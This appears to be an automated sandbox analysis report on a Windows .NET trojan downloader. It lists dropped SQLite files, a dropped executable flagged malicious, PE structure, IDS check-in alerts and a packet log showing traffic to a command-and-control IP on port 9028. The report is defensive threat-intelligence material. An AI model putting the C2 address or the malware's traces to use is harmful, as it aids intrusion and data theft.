                                                                                                                                                                          SSDEEP:384:u0ATqjAfepy42PWoo/oftTBBE3utC7UqrDvQoJMAa:rATq8feA42PWoo/oftTBBjuUVAa
                                                                                                                                                                          MD5:E782D8B6164B8CF64500A01B85E5FD38
                                                                                                                                                                          SHA1:C9D4CEAAE1A4FA6E8E74281520262B9ABCA02E18
                                                                                                                                                                          SHA-256:E42275C994991D8927C6FAAF7F38E394FFC080CAB5AE61136343DA5686C9B99F
                                                                                                                                                                          SHA-512:1C0D174F9CF3B0AC3331013C7E9E45B5646BECF11617E635E20370E4C9289D529CE922DF9719BC3354D0B78DD2AB990AC9DE81908E5D8F799386CF3936DE340A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......6...........P......................................................v.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp7C1B.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3045002, file counter 21, database pages 54, 1st free page 10, free pages 14, cookie 0x50, schema 4, UTF-8, version-valid-for 21
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):229376
                                                                                                                                                                          Entropy (8bit):0.8702785449902919
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:384:u0ATqjAfepy42PWoo/oftTBBE3utC7UqrDvQoJMAa:rATq8feA42PWoo/oftTBBjuUVAa
                                                                                                                                                                          MD5:E782D8B6164B8CF64500A01B85E5FD38
                                                                                                                                                                          SHA1:C9D4CEAAE1A4FA6E8E74281520262B9ABCA02E18
                                                                                                                                                                          SHA-256:E42275C994991D8927C6FAAF7F38E394FFC080CAB5AE61136343DA5686C9B99F
                                                                                                                                                                          SHA-512:1C0D174F9CF3B0AC3331013C7E9E45B5646BECF11617E635E20370E4C9289D529CE922DF9719BC3354D0B78DD2AB990AC9DE81908E5D8F799386CF3936DE340A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......6...........P......................................................v.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp7E9C.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3045002, page size 2048, file counter 14, database pages 65, cookie 0x57, schema 4, UTF-8, version-valid-for 14
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):135168
                                                                                                                                                                          Entropy (8bit):1.0873605234887023
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:yD1DgPn0BkoOQuA5bUWDX6+7VuP7Ewvjd:A1cPn0BktQuubrt7VuP7Ewrd
                                                                                                                                                                          MD5:5B01CD9FA62FDF35D1A4587F2676CA31
                                                                                                                                                                          SHA1:25BBFAC890114F4ECE0BF818F504FFE6102004B8
                                                                                                                                                                          SHA-256:74D3D72E8CEB233D400747C902F3331B3824902C81B6EF8AA3D7AC85A7A3F095
                                                                                                                                                                          SHA-512:A565038CDF3C69621F31D8DE4558F74375AADF1DC881C2C82A877C105437F7F9B1D97D1652E98566984EFCA8F1C39224B40B450C742610395A265D81362254DC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......A...........W......................................................v............A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp818B.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):122880
                                                                                                                                                                          Entropy (8bit):1.1414673161713362
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6:8t4n/9p/39J6hwNKRmqu+7VusE
                                                                                                                                                                          MD5:24937DB267D854F3EF5453E2E54EA21B
                                                                                                                                                                          SHA1:F519A77A669D9F706D5D537A203B7245368D40CE
                                                                                                                                                                          SHA-256:369B8B4465FB5FD7F12258C7DEA941F9CCA9A90C78EE195DF5E02028686869ED
                                                                                                                                                                          SHA-512:AED398C6781300E732105E541A6FDD762F04E0EC5A5893762BFDCBDD442348FAF9CB2711EFDC4808D4675A8E48F77BEAB3A0D6BC635B778D47B2DADC9B6086A3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp81EA.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):122880
                                                                                                                                                                          Entropy (8bit):1.1414673161713362
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6:8t4n/9p/39J6hwNKRmqu+7VusE
                                                                                                                                                                          MD5:24937DB267D854F3EF5453E2E54EA21B
                                                                                                                                                                          SHA1:F519A77A669D9F706D5D537A203B7245368D40CE
                                                                                                                                                                          SHA-256:369B8B4465FB5FD7F12258C7DEA941F9CCA9A90C78EE195DF5E02028686869ED
                                                                                                                                                                          SHA-512:AED398C6781300E732105E541A6FDD762F04E0EC5A5893762BFDCBDD442348FAF9CB2711EFDC4808D4675A8E48F77BEAB3A0D6BC635B778D47B2DADC9B6086A3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp8249.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 3, database pages 27, 1st free page 7, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):57344
                                                                                                                                                                          Entropy (8bit):0.7310370201569906
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:96:qsvKLyeymO9K3PlGNxotxPUCbn8MouON3n:q86PlGNxss27e
                                                                                                                                                                          MD5:A802F475CA2D00B16F45FEA728F2247C
                                                                                                                                                                          SHA1:AF57C02DA108CFA0D7323252126CC87D7B608786
                                                                                                                                                                          SHA-256:156ADDC0B949718CF518720E5774557B134CCF769A15E0413ABC257C80E58684
                                                                                                                                                                          SHA-512:275704B399A1C236C730F4702B57320BD7F034DC234B7A820452F8C650334233BD6830798446664F133BA4C77AA2F91E66E901CE8A11BD8575C2CD08AB9BE98F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp8279.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3036000, file counter 10, database pages 7, 1st free page 5, free pages 2, cookie 0x9, schema 4, UTF-8, version-valid-for 10
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):28672
                                                                                                                                                                          Entropy (8bit):1.5161495002712742
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:96:s3n5HGsht8kAM0hsYfxqYgXZBqIcsrl3tuY2sWsqF:c5mF5wnpx9uYSF
                                                                                                                                                                          MD5:16A6EDF5F48F2A7B20B3B8825384B05C
                                                                                                                                                                          SHA1:A59542299A41166F515B18AB8CBC3D72517ED207
                                                                                                                                                                          SHA-256:3E1A2BB358B396C201A6058EC8A05E25B167255EB3DAEEB1130331A298CC6F93
                                                                                                                                                                          SHA-512:7C4C9D69B05EA5B120C0DB6DF7D0C4487387659AF6D17C387503CA360EF8430F676B0964B6BC3C368BA4DC8D0E648B2750C26970D833788982BBF5BC04AC632D
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ ..........................................................................S`..=......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\tmp8299.tmp.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3036000, file counter 4, database pages 35, cookie 0x1e, schema 4, UTF-8, version-valid-for 4
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):163840
                                                                                                                                                                          Entropy (8bit):0.44975538801868414
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:96:Ou1HAU+bDoYysX0uhnyZtha58VjN9DLjGQLBE3u:Ou1X+bDo3irhnyBi8Vj3XBBE3u
                                                                                                                                                                          MD5:89E4498D0328AFC71113CC75EBE7D770
                                                                                                                                                                          SHA1:120CF58C897FF1025F8B4F854A21821D948F74BC
                                                                                                                                                                          SHA-256:F50B271AFE0D4950FAE539E4A04C3D07849F0CE2250E73B352CDB3D981095B40
                                                                                                                                                                          SHA-512:7914EDF9352FBB1ABB6A0B89A4F47F09DE5672DEB6B4BE9EBEA833C8D1ED3EFD5AD16A612DF3DF65C878EB577FD0B697BC44C3E52D9BBFB82A81C1C903621989
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQLite format 3......@ .......#..................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\Public\Pictures\xdwdUpdate.exe

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):738219008
                                                                                                                                                                          Entropy (8bit):0.01747672980312603
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:
                                                                                                                                                                          MD5:33DA7ED1E2C973375F265DAAA763EA08
                                                                                                                                                                          SHA1:7680E4B6C739F829AA38994D8BBBDA42B373514D
                                                                                                                                                                          SHA-256:307A368F3D1DC624537CA358916801FD68A61411D7E34EACCDE660BC86A2275B
                                                                                                                                                                          SHA-512:8588B5FFD25BCFC974E1956BA41015DC075ED325A039850BFA8BEFB7B05C0D7B15931C58960F54CCBF222CA65F3CB940C6A255D622B3F64CAA2407CD55904421
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...oA............"...0..H..........^f... ........@.. ....................................@..................................f..W.................................................................................... ............... ..H............text...dF... ...H.................. ..`.rsrc................J..............@..@.reloc...............R..............@..B................@f......H.......t]..................i............................................W......H3.......W......3.........(....*b.{.....oN...(O....oP...*.(....(....sR........(....(....sR........( ...(....sR........*J.s....}.....(....*...$...*.s.....%...*.(}...*..o....*.(....*.s.... .:.. 0u..o....(....~=...(....&*.s.....*...*..*j(1...(....~/...(i....-...*V(i....Y...(j....Z...*".(.....*..(....r.4.p.n...!...A.....o...!".......p...*..(....!A............!.j................!(..;.........*.!.A.u.

                                                                                                                                                                          Static File Info

                                                                                                                                                                          General

                                                                                                                                                                          File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                          Entropy (8bit):5.570089431215532
                                                                                                                                                                          TrID:
                                                                                                                                                                          • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                                                                                                                                          • Win32 Executable (generic) a (10002005/4) 49.75%
                                                                                                                                                                          • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                                                                                                          • Windows Screen Saver (13104/52) 0.07%
                                                                                                                                                                          • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                                                                                          File name:CVmkXJ7e0a.exe
                                                                                                                                                                          File size:1'070'080 bytes
                                                                                                                                                                          MD5:b70651a7c5ec8cc35b9c985a331ffca3
                                                                                                                                                                          SHA1:8492a85c3122a7cac2058099fb279d36826d1f4d
                                                                                                                                                                          SHA256:ed9d94e2dfeb610cb43d00e1a9d8eec18547f1bca2f489605f0586969f6cd6d6
                                                                                                                                                                          SHA512:3819216764b29dad3fabfab42f25f97fb38d0f24b975366426ce3e345092fc446ff13dd93ab73d252ea5f77a7fc055ad251e7017f65d4de09b0c43601b5d3fd5
                                                                                                                                                                          SSDEEP:12288:IvVfFpam2L6ELLPVle8NLDnWM7b8PI/ZU3Y9W6NZwbfnh:I9feZffLSMcPI63MZ6h
                                                                                                                                                                          TLSH:2335800DFE91E905DE1E3DB7CFE610000B7164C1AE1285562119AFFE8F663B299E267C
                                                                                                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...oA............"...0..H..........^f... ........@.. ....................................@................................

                                                                                                                                                                          File Icon

                                                                                                                                                                          Icon Hash:90cececece8e8eb0

                                                                                                                                                                          Static PE Info

                                                                                                                                                                          General

                                                                                                                                                                          Entrypoint:0x50665e
                                                                                                                                                                          Entrypoint Section:.text
                                                                                                                                                                          Digitally signed:false
                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                          Subsystem:windows gui
                                                                                                                                                                          Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                                                                          DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                                                          Time Stamp:0xF5FE416F [Wed Oct 13 03:20:15 2100 UTC]
                                                                                                                                                                          TLS Callbacks:
                                                                                                                                                                          CLR (.Net) Version:
                                                                                                                                                                          OS Version Major:4
                                                                                                                                                                          OS Version Minor:0
                                                                                                                                                                          File Version Major:4
                                                                                                                                                                          File Version Minor:0
                                                                                                                                                                          Subsystem Version Major:4
                                                                                                                                                                          Subsystem Version Minor:0
                                                                                                                                                                          Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                                                                                          Entrypoint Preview

                                                                                                                                                                          Instruction
                                                                                                                                                                          jmp dword ptr [00402000h]
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al
                                                                                                                                                                          add byte ptr [eax], al

                                                                                                                                                                          Data Directories

                                                                                                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x1066040x57.text
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x1080000x610.rsrc
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x10a0000xc.reloc
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                          Sections

                                                                                                                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                          .text0x20000x1046640x104800eadf2cf4161a5a481afc461c85f18021False0.4357821122240883data5.572175821825279IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                          .rsrc0x1080000x6100x80057e808706c5db771401b390d11ec9d53False0.35498046875data4.678881891257474IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                          .reloc0x10a0000xc0x200246ab2059d94699765f1d065ef4293f1False0.044921875data0.09800417566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                          Resources

                                                                                                                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                          RT_VERSION0x1080a00x384data0.45111111111111113
                                                                                                                                                                          RT_MANIFEST0x1084240x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators0.5489795918367347

                                                                                                                                                                          Imports

                                                                                                                                                                          DLLImport
                                                                                                                                                                          mscoree.dll_CorExeMain

                                                                                                                                                                          Network Behavior

                                                                                                                                                                          Suricata IDS Alerts

                                                                                                                                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                          2024-12-13T08:25:19.876885+01002851746ETPRO MALWARE MSIL/TrojanDownloader.Small.CUV Variant Checkin1192.168.11.2049720147.185.221.229028TCP
                                                                                                                                                                          2024-12-13T08:25:20.106785+01002851746ETPRO MALWARE MSIL/TrojanDownloader.Small.CUV Variant Checkin1192.168.11.2049721147.185.221.229028TCP
                                                                                                                                                                          2024-12-13T08:25:22.803331+01002851746ETPRO MALWARE MSIL/TrojanDownloader.Small.CUV Variant Checkin1192.168.11.2049722147.185.221.229028TCP

                                                                                                                                                                          Network Port Distribution

                                                                                                                                                                          TCP Packets

                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                          Dec 13, 2024 08:25:09.808725119 CET49714443192.168.11.20104.20.4.235
                                                                                                                                                                          Dec 13, 2024 08:25:09.808746099 CET44349714104.20.4.235192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:09.808989048 CET49714443192.168.11.20104.20.4.235
                                                                                                                                                                          Dec 13, 2024 08:25:09.816139936 CET49714443192.168.11.20104.20.4.235
                                                                                                                                                                          Dec 13, 2024 08:25:09.816150904 CET44349714104.20.4.235192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:10.056997061 CET44349714104.20.4.235192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:10.057204008 CET49714443192.168.11.20104.20.4.235
                                                                                                                                                                          Dec 13, 2024 08:25:10.060650110 CET49714443192.168.11.20104.20.4.235
                                                                                                                                                                          Dec 13, 2024 08:25:10.060657024 CET44349714104.20.4.235192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:10.061933994 CET44349714104.20.4.235192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:10.094904900 CET49714443192.168.11.20104.20.4.235
                                                                                                                                                                          Dec 13, 2024 08:25:10.142205000 CET44349714104.20.4.235192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:10.746144056 CET44349714104.20.4.235192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:10.746231079 CET44349714104.20.4.235192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:10.746356964 CET49714443192.168.11.20104.20.4.235
                                                                                                                                                                          Dec 13, 2024 08:25:10.750536919 CET49714443192.168.11.20104.20.4.235
                                                                                                                                                                          Dec 13, 2024 08:25:11.577630043 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:11.704217911 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:11.704448938 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:12.049750090 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:18.452250004 CET4971980192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:25:18.566265106 CET8049719104.16.185.241192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:18.566425085 CET4971980192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:25:18.566581964 CET4971980192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:25:18.680437088 CET8049719104.16.185.241192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:18.693553925 CET8049719104.16.185.241192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:18.701617956 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:18.735810995 CET4971980192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:25:19.004245996 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:19.004689932 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.297336102 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:19.371305943 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:19.387551069 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.422517061 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.514789104 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:19.515048981 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.515218019 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.622543097 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:19.622813940 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.624666929 CET497219028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.668421030 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:19.668659925 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.751719952 CET902849721147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:19.751998901 CET497219028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.752135992 CET497219028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.875475883 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:19.876571894 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:19.876884937 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:20.105808973 CET902849721147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:20.106785059 CET497219028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:20.127278090 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:20.141524076 CET497219028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:20.267504930 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:20.268241882 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:20.268306971 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:20.268431902 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:20.268510103 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:20.268553972 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:20.268682003 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:20.268716097 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:20.268749952 CET902849720147.185.221.22192.168.11.20
